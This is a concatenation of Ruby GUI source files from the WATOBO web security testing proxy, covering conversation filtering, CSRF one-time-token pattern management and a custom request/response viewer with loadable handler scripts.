FXVerticalFrame.new(status_codes_gb, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @status_2 = FXCheckButton.new(status_codes_frame, "2xx", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:status_codes) ? filter[:status_codes].include?("^2") : true @status_2.setCheck(state) @status_3 = FXCheckButton.new(status_codes_frame, "3xx", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:status_codes) ? filter[:status_codes].include?("^3") : true @status_3.setCheck(state) @status_4 = FXCheckButton.new(status_codes_frame, "4xx", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:status_codes) ? filter[:status_codes].include?("^4") : true @status_4.setCheck(state) @status_5 = FXCheckButton.new(status_codes_frame, "5xx", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:status_codes) ? filter[:status_codes].include?("^5") : true @status_5.setCheck(state) f = FXVerticalFrame.new(matrix, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) extension_gb = FXGroupBox.new(f, "Extensions", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) extension_frame = FXVerticalFrame.new(extension_gb, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) extension_matrix = FXMatrix.new(extension_frame, 2, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X|LAYOUT_FILL_Y) @show_extensions_cb = FXCheckButton.new(extension_matrix, "Show only: ", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:show_extensions) ? filter[:show_extensions] : false @show_extensions_cb.setCheck(state) @show_only_ex = FXTextField.new(extension_matrix, 25, nil, 0, FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_X) @show_only_ex.text = filter.has_key?(:show_extension_patterns) ? filter[:show_extension_patterns].join(", ") : "jsp, php, asp, aspx" @hide_ex_cb = FXCheckButton.new(extension_matrix, "Hide: ", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:hidden_extensions) ? filter[:hidden_extensions] : false # @show_extensions_cb.setCheck(state) @hide_ex_cb.setCheck(state) f = FXVerticalFrame.new(extension_matrix, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_THICK|FRAME_SUNKEN, :padding => 0) @hide_ex = FXText.new(f, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) @hide_ex.text = filter.has_key?(:hidden_extension_patterns) ? filter[:hidden_extension_patterns].join(", ") : "ppt, doc, xls, pptx, docx, xlsx, pdf, jpg, jpeg, ico, png, css, gif, js" # PATTERN f = FXVerticalFrame.new(matrix, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) pattern_gb = FXGroupBox.new(f, "Pattern", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) frame = FXVerticalFrame.new(pattern_gb, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @text_filter = FXTextField.new(frame, 40, nil, 0, FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_X) @text_filter.setFocus() @text_filter.setDefault() @text_filter.connect(SEL_COMMAND){ @accept_btn.setFocus() @accept_btn.setDefault() # self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) true } [ :url_pattern, :request_pattern, :response_pattern, :comment_pattern ].each do |k| if filter.has_key? k @text_filter.text = filter[k] unless filter[k].empty? end end loc_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) pattern_frame = FXVerticalFrame.new(loc_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) # filterOptionsFrame =FXHorizontalFrame.new(fbox, LAYOUT_FILL_X) @foption_url = FXCheckButton.new(pattern_frame, "&URL", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = ( filter.has_key?(:url_pattern) and not filter[:url_pattern].empty? ) @foption_url.setCheck(state) # @foption_url.connect(SEL_COMMAND){ update_text_filter } @foption_req = FXCheckButton.new(pattern_frame, "Re&quest", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = ( filter.has_key?(:request_pattern) and not filter[:request_pattern].empty? ) @foption_req.setCheck state # @foption_req .connect(SEL_COMMAND){ update_text_filter } @foption_res = FXCheckButton.new(pattern_frame, "Res&ponse", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = ( filter.has_key?(:response_pattern) and not filter[:response_pattern].empty? ) @foption_res.setCheck state # @foption_res.connect(SEL_COMMAND){ update_text_filter } @foption_comment = FXCheckButton.new(pattern_frame, "&Comment", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_RIGHT) state = ( filter.has_key?(:comment_pattern) and not filter[:comment_pattern].empty? ) @foption_comment.setCheck state frame = FXVerticalFrame.new(loc_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @negate_pattern_search = FXCheckButton.new(frame, "Negate", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = ( filter.has_key?(:negate_pattern_search) and filter[:negate_pattern_search] ) @negate_pattern_search.setCheck state buttons = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) @accept_btn = FXButton.new(buttons, "&Apply", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) @accept_btn.enable # Cancel FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) end private def onAccept(sender, sel, item) getApp().stopModal(self, 1) self.hide() return 1 end end class ConversationTableCtrl2 < FXVerticalFrame include Watobo::Constants include Watobo::Gui::Icons attr :filter def table=(table) @table = table # @table.subscribe(:table_changed) { update_info } end def update_text @filter_info.text = filter_text @filter_info.appendText " " @filter_info.appendStyledText("click to change", 3) end #def text=(t) # @filter_info.text = t # @filter_info.appendText " " # @filter_info.appendStyledText("click to change", 3) #end def default_filter fs = { :scope_only => false , :hide_tested => false, :unique => false } fs[:url_pattern] = '' fs[:request_pattern] = '' fs[:response_pattern] = '' fs[:mime_types] = [] fs[:status_codes] = [] fs[:hidden_extension_patterns] = %w( ppt doc xls pptx docx xlsx pdf jpg jpeg ico png css gif js) fs[:hidden_extensions] = true fs[:show_extensions] = false fs[:show_extension_patterns] = %w(jsp php asp aspx) fs[:comment_pattern] = '' fs end def initialize(owner, opts) super(owner, opts) @table = nil @filter = default_filter f = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X|FRAME_RAISED ) info_frame = FXHorizontalFrame.new(f, :opts => LAYOUT_FILL_X|FRAME_LINE ) # @filter_info = FXButton.new(f,"Filter: ", :opts => LAYOUT_FILL_X|FRAME_LINE|FRAME_NORMAL|JUSTIFY_LEFT) @filter_info = FXText.new(info_frame, :opts => LAYOUT_FILL_X|TEXT_WORDWRAP ) @filter_info.setFont(FXFont.new(getApp(), "helvetica", 9, FONTWEIGHT_BOLD, FONTENCODING_DEFAULT)) @filter_info.backColor = @filter_info.parent.backColor @filter_info.editable = false @filter_info.cursorColor = @filter_info.parent.backColor @filter_info.visibleRows = 2 hs_green = FXHiliteStyle.new hs_green.normalForeColor = FXRGBA(0,255,0,1) hs_green.normalBackColor = @filter_info.backColor hs_green.style = FXText::STYLE_BOLD hs_red = FXHiliteStyle.new hs_red.normalForeColor = FXRGBA(255,0,0,1) hs_red.normalBackColor = @filter_info.backColor hs_red.style = FXText::STYLE_BOLD hs_blue = FXHiliteStyle.new hs_blue.normalForeColor = FXRGBA(0,0,255,1) hs_blue.normalBackColor = @filter_info.backColor hs_blue.style = FXText::STYLE_BOLD # Enable the style buffer for this text widget @filter_info.styled = true # Set the styles @filter_info.hiliteStyles = [ hs_green, hs_red, hs_blue] # @filter_info.setText(filter_text) update_text # l = FXLabel.new(@filter_info, "Test") bframe = FXVerticalFrame.new(f, :opts => LAYOUT_FILL_Y, :padding => 0) @table_option_autoscroll = FXCheckButton.new(bframe, "autoscroll", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @table_option_autoscroll.setCheck(true) @table_option_autoscroll.connect(SEL_COMMAND){ puts "* Autoscroll >> #{@table_option_autoscroll.checked?.class}" @table.autoscroll = @table_option_autoscroll.checked? } iframe = FXHorizontalFrame.new(bframe, :opts => LAYOUT_FILL_X, :padding => 0 ) FXButton.new(iframe, "", ICON_BTN_DOWN, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT).connect(SEL_COMMAND) { @table.scrollDown() unless @table.nil? } FXButton.new(iframe, "", ICON_BTN_UP, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT).connect(SEL_COMMAND) { @table.scrollUp() unless @table.nil? } @filter_info.connect(SEL_LEFTBUTTONPRESS){ filter = @table.nil? ? {} : @table.filter dlg = Watobo::Gui::ConversationFilterDialog.new(self, filter) if dlg.execute != 0 #puts dlg.filter_settings.to_yaml @filter = dlg.filter_settings unless @table.nil? getApp().beginWaitCursor do @table.apply_filter(@filter) end end update_text end } =begin @filter_info.connect(SEL_COMMAND){ @x = getApp.activeWindow.x + self.x + self.parent.x + self.parent.parent.x + self.parent.parent.parent.x + self.parent.parent.parent.parent.x @y = getApp.activeWindow.y + self.y + self.parent.y + self.parent.parent.y + self.parent.parent.parent.y + self.parent.parent.parent.parent.y @w = 200 puts "open menu | #{@x}, #{@y}" FXMenuPane.new(self) do |menu_pane| #frame = ConversationFilterFrame.new(menu_pane, :opts => LAYOUT_FIX_WIDTH|LAYOUT_FIX_HEIGHT, :width => @w, :height => 200) frame = ConversationFilterFrame.new(menu_pane, :opts => LAYOUT_FILL_Y|LAYOUT_FILL_X) menu_pane.create #menu_pane.popup(nil, x, y, 200, 200) menu_pane.popup(nil, @x, @y) app.runModalWhileShown(menu_pane) puts "done!" puts frame.filter_settings.to_yaml end } =end end def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end private def filter_text text = "" text = "Show: " show_only = [] show_only << "scope only" if @filter[:scope_only] == true show_only << "specific extensions" if @filter[:show_extensions] == true show_only << "URL pattern" unless @filter[:url_pattern].empty? show_only << "request pattern" unless @filter[:request_pattern].empty? show_only << "response pattern" unless @filter[:response_pattern].empty? show_only << "specific status codes" unless @filter[:status_codes].empty? show_only << "specific mime types" unless @filter[:mime_types].empty? text << show_only.join(", ") text << "All" if show_only.empty? text << " / Hide:" hide = [] hide << "specific extensions" if @filter[:hidden_extensions] == true hide << "tested chats" if @filter[:hide_tested] == true text << hide.join(", ") text << "None" if hide.empty? unless @table.nil? text << "\n#{@table.numRows}/#{@table.current_chat_list.length}" end text end def clearEvents(event) @event_dispatcher_listener[event].clear end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def clear_text_filter @text_filter.text = '' apply_filter end def apply_filter unless @table.nil? getApp().beginWaitCursor do @table.apply_filter(filter_settings) # update_info end end end def update_text_filter if @foption_url.checked? or @foption_req.checked? or @foption_res.checked? or @foption_comment.checked? @text_filter.enable else @text_filter.disable end end end end endwatobo-1.0.1/lib/watobo/gui/csrf_token_dialog.rb000066400000000000000000000352121366346341400216470ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class TokenSettings < FXHorizontalFrame include Watobo::Gui::Utils class SidPreview_UNUSED < FXText def highlight(pattern) self.setText(self.to_s) begin # puts pattern if self.to_s =~ /#{pattern}/ then if $1 and $2 then # puts "MATCH (#{$1}/#{$2})" string1 = $1 string2 = $2 index1 = nil index1 = self.to_s.index(string1) if index1 then self.changeStyle(index1,string1.length,1) end index2 = nil index2 = self.to_s.index(string2) if index2 then self.changeStyle(index2,string2.length,1) end self.makePositionVisible(index2+string2.length) self.makePositionVisible(index1) else # string1 = pattern # string2 = pattern end end rescue => bang puts "!!!ERROR: could not highlight pattern" puts bang end end def initialize(parent, opts) super(parent, opts) @style = 1 # default style # Construct some hilite styles hs_green = FXHiliteStyle.new hs_green.normalForeColor = FXRGBA(255,255,255,255) #FXColor::Red hs_green.normalBackColor = FXRGBA(0,255,0,1) # FXColor::White hs_green.style = FXText::STYLE_BOLD hs_red = FXHiliteStyle.new hs_red.normalForeColor = FXRGBA(255,255,255,255) #FXColor::Red hs_red.normalBackColor = FXRGBA(255,0,0,1) # FXColor::White hs_red.style = FXText::STYLE_BOLD self.styled = true # Set the styles self.hiliteStyles = [ hs_green, hs_red] self.editable = false end end def getTokenPatterns() sids = [] @pattern_list.numItems.times do |index| sids.push @pattern_list.getItemData(index) end return sids end def updateRequests(req_id_list) @requestCombo.clearItems() req_id_list.each do |id| chat = Watobo::Chats.get_by_id(id) text = "[#{id}] #{chat.request.first}" @requestCombo.appendItem(text.slice(0..60), chat) end unless @target_chat.nil? text = "[TARGET #{@target_chat.id}] - #{@target_chat.request.first}" @requestCombo.appendItem(text.slice(0..60), @target_chat) end if @requestCombo.numItems > 0 then if @requestCombo.numItems < 10 then @requestCombo.numVisible = @requestCombo.numItems else @requestCombo.numVisible = 10 end @requestCombo.setCurrentItem(0, true) chat = @requestCombo.getItemData(0) @request_viewer.setText(cleanupHTTP(chat.request)) @response_viewer.setText(cleanupHTTP(chat.response)) end end private def onPatternClick(sender,sel,item) pattern = @pattern_list.getItemText(item) @request_viewer.highlight(pattern) @response_viewer.highlight(pattern) @pattern.value = pattern @pattern_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def onRequestChanged(sender, sel, item) begin chat = @requestCombo.getItemData(@requestCombo.currentItem) puts "selected #{chat.class}" @request_viewer.setText(cleanupHTTP(chat.request)) @response_viewer.setText(cleanupHTTP(chat.response)) rescue => bang puts "could not update request" puts bang end end def showBadPatternMessage() FXMessageBox.information(self, MBOX_OK, "Wrong Pattern Format", "SID Pattern Format is wrong, e.g.() <(session)=([a-z]*)>\nRegex must contain two selectors \"()\" to satisfy $1 and $2.") end def addPattern(sender,sel,id) pattern = @pattern.value if pattern != "" then begin dummy = pattern.split('(') if dummy.length < 2 then # no good pattern puts "!!!ERROR: Bad pattern" showBadPatternMessage() return -1 end dummy = pattern.split(')') if dummy.length < 2 then # no good pattern puts "!!!ERROR: Bad pattern" showBadPatternMessage() return -1 end # test if pattern looks like a valid regex if "test" =~ /#{pattern}/i then #looks good end rescue => bang puts "!!!ERROR: Bad pattern" showBadPatternMessage() return -1 end item = @pattern_list.appendItem("#{@pattern.value}") @pattern_list.setItemData(item, @pattern.value) return 0 # item. end end def remPattern(sender,sel,id) index = @pattern_list.currentItem if index >= 0 @pattern_list.removeItem(index) end end def initialize(parent, target_chat=nil) @pattern = FXDataTarget.new('') @target_chat = target_chat super(parent, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) main_frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_Y|LAYOUT_FILL_X|FRAME_GROOVE) frame = FXVerticalFrame.new(main_frame, :opts => LAYOUT_FILL_Y) label = FXLabel.new(frame, "CSRF Token Patterns:") @pattern_field = FXTextField.new(frame, 40, :target => @pattern, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT) b_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X) @addSidButton = FXButton.new(b_frame, "Add" , :opts => BUTTON_NORMAL|LAYOUT_LEFT) @addSidButton.connect(SEL_COMMAND, method(:addPattern)) @remSidButton=FXButton.new(b_frame, "Remove" , :opts => BUTTON_NORMAL|LAYOUT_LEFT) @remSidButton.connect(SEL_COMMAND, method(:remPattern)) list_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|FRAME_SUNKEN, :padding => 0) @pattern_list = FXList.new(list_frame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @pattern_list.numVisible = 25 @pattern_list.connect(SEL_COMMAND,method(:onPatternClick)) frame = FXVerticalFrame.new(main_frame, :opts => LAYOUT_FILL_Y|LAYOUT_FILL_X) label = FXLabel.new(frame, "Token Script Requests:") @requestCombo = FXComboBox.new(frame, 5, nil, 0, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) #@filterCombo.width =200 @requestCombo.numVisible = 0 @requestCombo.numColumns = 50 @requestCombo.editable = false @requestCombo.connect(SEL_COMMAND, method(:onRequestChanged)) chat_viewer_frame = FXVerticalFrame.new(frame, LAYOUT_FILL_X|LAYOUT_FILL_Y, :height => 300, :padding => 0) tabBook = FXTabBook.new(chat_viewer_frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT, :padding => 0) req_tab = FXTabItem.new(tabBook, "Request", nil) frame = FXVerticalFrame.new(tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) sunken = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN, :padding => 0) @request_viewer = SidPreview.new(sunken, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN) resp_tab = FXTabItem.new(tabBook, "Response", nil) frame = FXVerticalFrame.new(tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) sunken = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN, :padding => 0) @response_viewer = SidPreview.new(sunken, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) Watobo::Conf::OttCache.patterns.each do |p| item = @pattern_list.appendItem("#{p}") @pattern_list.setItemData(item, p) end unless @target_chat.nil? @request_viewer.text = cleanupHTTP(@target_chat.request) @response_viewer.text = cleanupHTTP(@target_chat.response) end end end class TokenScriptSettings < FXVerticalFrame include Watobo::Constants def showChat(chat) @request_viewer.setText(chat.request) @response_viewer.setText(chat.response) end def getTokenScriptIds() ids = [] @scriptTable.numRows.times do |row| # puts row ids.push @scriptTable.getRowText(row) end return ids end def onTableClick(sender, sel, item) begin # purge viewers @request_viewer.setText('') @response_viewer.setText('') row = item.row if row >= 0 then @scriptTable.selectRow(row, false) chatid = @scriptTable.getRowText(item.row).to_i # @logText.appendText("selected ID: (#{chatid})\n") if chatid >= 0 chat = Watobo::Chats.get_by_id(chatid) showChat(chat) if chat @sel_row = row @rem_button.enable end end rescue => bang puts "!!!ERROR: onTableClick" puts bang puts "!!!" end end def removeRequest(sender, sel, item) if @sel_row >= 0 then @scriptTable.removeRows(@sel_row) @scriptTable.killSelection(false) @rem_button.disable @sel_row = -1 end end def startSelectChatDialog(sender, sel, item) begin dlg = Watobo::Gui::SelectChatDialog.new(self, "Select Login Chat") if dlg.execute != 0 then chats_selected = dlg.selection.value.split(",") chats_selected.each do |chatid| chat = Watobo::Chats.get_by_id(chatid.strip) addRequest(chat) if chat end end rescue => bang puts "!!!ERROR: could not open SelectChatDialog." puts bang end end def addRequest(chat) @scriptTable.addChat(chat) end def initialize(parent, target_chat) @target_chat = target_chat @table_filter = FXDataTarget.new('') @sel_row = -1 super(parent, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) splitter = FXSplitter.new(self, LAYOUT_SIDE_TOP|LAYOUT_FILL_X|SPLITTER_VERTICAL|LAYOUT_FILL_Y|SPLITTER_TRACKING) script_frame = FXVerticalFrame.new(splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE, :height => 300,:padding => 0) frame = FXHorizontalFrame.new(script_frame, :opts => LAYOUT_FILL_X) label = FXLabel.new(frame, "Token Script Requests:") @add_button = FXButton.new(frame, "Add Request...", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT) @add_button.connect(SEL_COMMAND, method(:startSelectChatDialog)) @rem_button = FXButton.new(frame, "Remove Request", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT) @rem_button.connect(SEL_COMMAND, method(:removeRequest)) @rem_button.disable label.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTSLANT_ITALIC, FONTENCODING_DEFAULT)) script_table_frame = FXVerticalFrame.new(script_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @scriptTable = ConversationTable.new(script_table_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @scriptTable.connect(SEL_CLICKED, method(:onTableClick)) chat_viewer_frame = FXVerticalFrame.new(splitter, LAYOUT_FILL_X|LAYOUT_FILL_Y, :height => 300, :padding => 0) tabBook = FXTabBook.new(chat_viewer_frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT, :padding => 0) req_tab = FXTabItem.new(tabBook, "Request", nil) frame = FXVerticalFrame.new(tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @request_viewer = Watobo::Gui::SimpleTextView.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN, :padding => 0) resp_tab = FXTabItem.new(tabBook, "Response", nil) frame = FXVerticalFrame.new(tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @response_viewer = Watobo::Gui::SimpleTextView.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN, :padding => 0) Watobo::OTTCache.chats(@target_chat) do |chat| addRequest(chat) end end end # # S E S S I O N M A N A G E M E N T D I A L O G # class CSRFTokenDialog < FXDialogBox include Watobo::Constants include Watobo::Gui::Icons def getTokenPatterns() token_patterns = @tokenSettings.getTokenPatterns() end def getTokenScriptIds() get_token_chat_ids = @tokenScriptSettings.getTokenScriptIds() end def initialize(owner, target_chat=nil) @target_chat = target_chat # Invoke base class initialize function first # super(owner, "LoginScript Wizzard", DECOR_TITLE|DECOR_BORDER,:width=>800, :height=>600) super(owner, "One-Time-Token Management", DECOR_ALL, :width=>800, :height=>600) self.icon = ICON_TOKEN main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) tabBook = FXTabBook.new(main_frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) login_tab = FXTabItem.new(tabBook, "Token Script", nil) @tokenScriptSettings = TokenScriptSettings.new(tabBook, @target_chat) sid_tab = FXTabItem.new(tabBook, "Token Patterns", nil) # @sidFrame = FXVerticalFrame.new(tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @tokenSettings = TokenSettings.new(tabBook, @target_chat) # logout_tab = FXTabItem.new(tabBook, "Logout Signatures", nil) # @logoutSettings = LogoutSettings.new(tabBook, @project) tabBook.connect(SEL_COMMAND) do |sender, sel, tabItem| case tabItem.to_i when 0 # puts "Login Script Selected" when 1 # puts "Session IDs Selected" ids = getTokenScriptIds() @tokenSettings.updateRequests(ids) when 2 # puts "Logout Selected" end end button_frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X) FXButton.new(button_frame, "OK" , :target => self, :selector => FXDialogBox::ID_ACCEPT, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) FXButton.new(button_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end end #-- end end watobo-1.0.1/lib/watobo/gui/custom_viewer.rb000066400000000000000000000302321366346341400210630ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class ViewerHandlerCtrl < FXHorizontalFrame attr :handler @@handler_path = nil def has_handler? !@handler.nil? end def initialize(parent, opts = { :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM, :padding => 0 }) super parent, opts @parent = parent #handler_ctrl_frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X, :padding => 0) FXLabel.new(self, "View Handler:") @handler_status_lbl = FXLabel.new(self, "None") @handler_status_lbl.backColor = "red" add_handler_btn = FXButton.new(self, "add", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y|LAYOUT_RIGHT) add_handler_btn.connect(SEL_COMMAND){ add_handler } reload_handler_btn = FXButton.new(self, "reload", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y|LAYOUT_RIGHT) reload_handler_btn.connect(SEL_COMMAND){ load_handler(@handler_file) } reset_handler_btn = FXButton.new(self, "reset", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y|LAYOUT_RIGHT) reset_handler_btn.connect(SEL_COMMAND){ @handler = nil @handler_file = nil @handler_status_lbl.text = "None" @handler_status_lbl.backColor = "red" } end def add_handler handler_filename = FXFileDialog.getOpenFilename(self, "Select handler file", @@handler_path, "*.rb\n*") if handler_filename != "" then if File.exist?(handler_filename) then @handler_file = handler_filename @@handler_path = File.dirname(handler_filename) + "/" load_handler(handler_filename) end end end def load_handler(file) @handler = nil @handler_status_lbl.text = "None" @handler_status_lbl.backColor = "red" return false if file.nil? return false unless File.exist? file begin source = File.read(file) #puts source result = eval(source) if result.respond_to? :call @handler = result @handler_status_lbl.text = "#{File.basename(file).gsub(/\.rb$/,'')}" @handler_status_lbl.textColor = 'black' @handler_status_lbl.backColor = 'green' @parent.setText end return true rescue SyntaxError, LocalJumpError, NameError => e out = e.to_s out << e.backtrace.join("\n") rescue => bang out = bang out << bang.backtrace.join("\n") end puts out return false end def call_handler(object) return object if @handler.nil? begin result = @handler.call(object) return result rescue => bang result = bang.to_s result << bang.backtrace.join("\n") return result end end end class CustomViewer < FXVerticalFrame SEL_TYPE_GREP = 0 SEL_TYPE_HIGHLIGHT = 1 attr_accessor :max_len def style=(new_style) @simple_text_view.style = new_style end def editable=(value) @simple_text_view.editable = value end def setText(object=nil, prefs={}) o = object.nil? ? @object : object return false if o.nil? @object = o normalized_text = o.to_s if o.is_a? Watobo::Request or o.is_a? Watobo::Response if @handler_ctrl.has_handler? result = @handler_ctrl.call_handler(o) normalized_text = result end else return false end @text = normalized_text #@text = text @simple_text_view.max_len = -1 @simple_text_view.setText(normalized_text, prefs) @match_pos_label.text = "0/0" @match_pos_label.textColor = 'grey' applyFilter() if @auto_apply_cbtn.checked? end def highlight(pattern) highlightPattern(pattern) end def setFont(font_type=nil, size=nil) @simple_text_view.setFont(font_type, size) end def getText @simple_text_view.textbox.to_s end def initialize(owner, opts) super(owner, opts) @text_matches = [] @style = 2 # default style @text = '' @object = nil @max_len = 5000 @filter_mode = SEL_TYPE_HIGHLIGHT @cur_match_pos = 0 @text_dt = FXDataTarget.new('') @filter_dt = FXDataTarget.new('') @handler = nil @handler_file = nil @@handler_path = nil @handler_ctrl = ViewerHandlerCtrl.new(self) text_view_header = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM|LAYOUT_FIX_HEIGHT,:height => 24, :padding => 0) #@auto_apply_cbtn.connect(SEL_COMMAND, method(:onInterceptChanged)) pmatch_btn = FXButton.new(text_view_header, "<", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y) @match_pos_label = FXLabel.new(text_view_header, "0/0", :opts => LAYOUT_FILL_Y) @match_pos_label.textColor = 'grey' pmatch_btn.connect(SEL_COMMAND) { gotoPrevMatch() } nmatch_btn = FXButton.new(text_view_header, ">", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y) nmatch_btn.connect(SEL_COMMAND) { gotoNextMatch() } # @filter_text = FXTextField.new(text_view_header, 10, # :target => @filter_dt, :selector => FXDataTarget::ID_VALUE, # :opts => FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_X|LAYOUT_FILL_Y) @filter_text = FXComboBox.new(text_view_header, 20, @filter_dt, 0, FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) @filter_text.connect(SEL_COMMAND){ applyFilter() addFilterHistory() } @filter_text.connect(SEL_CHANGED) { applyFilter() } menu = FXMenuPane.new(self) FXMenuCommand.new(menu, "&Highlight").connect(SEL_COMMAND){ @filter_mode = SEL_TYPE_HIGHLIGHT applyFilter() @mode_btn.text = "Highlight" }#, method(:switchMethod)) FXMenuCommand.new(menu, "&Grep").connect(SEL_COMMAND){ @filter_mode = SEL_TYPE_GREP applyFilter() @mode_btn.text = "Grep" }#, method(:switchMethod)) @auto_apply_cbtn = FXCheckButton.new(text_view_header, "auto-apply", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP|LAYOUT_RIGHT|LAYOUT_FILL_Y) @mode_btn = FXMenuButton.new(text_view_header, "Highlight", nil, menu, :opts=> MENUBUTTON_DOWN|FRAME_RAISED|FRAME_THICK|ICON_AFTER_TEXT|LAYOUT_RIGHT|LAYOUT_FILL_Y) reset_button = FXButton.new(text_view_header, "&Reset", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_FILL_Y) reset_button.connect(SEL_COMMAND){ resetFilter() } text_box_frame = FXVerticalFrame.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @simple_text_view = SimpleTextView.new(text_box_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y,:padding => 0) @simple_text_view.style = 1 @simple_text_view.editable = false @simple_text_view.textStyle -= TEXT_WORDWRAP addHotkeyHandler(@simple_text_view.textbox) addHotkeyHandler(@filter_text) 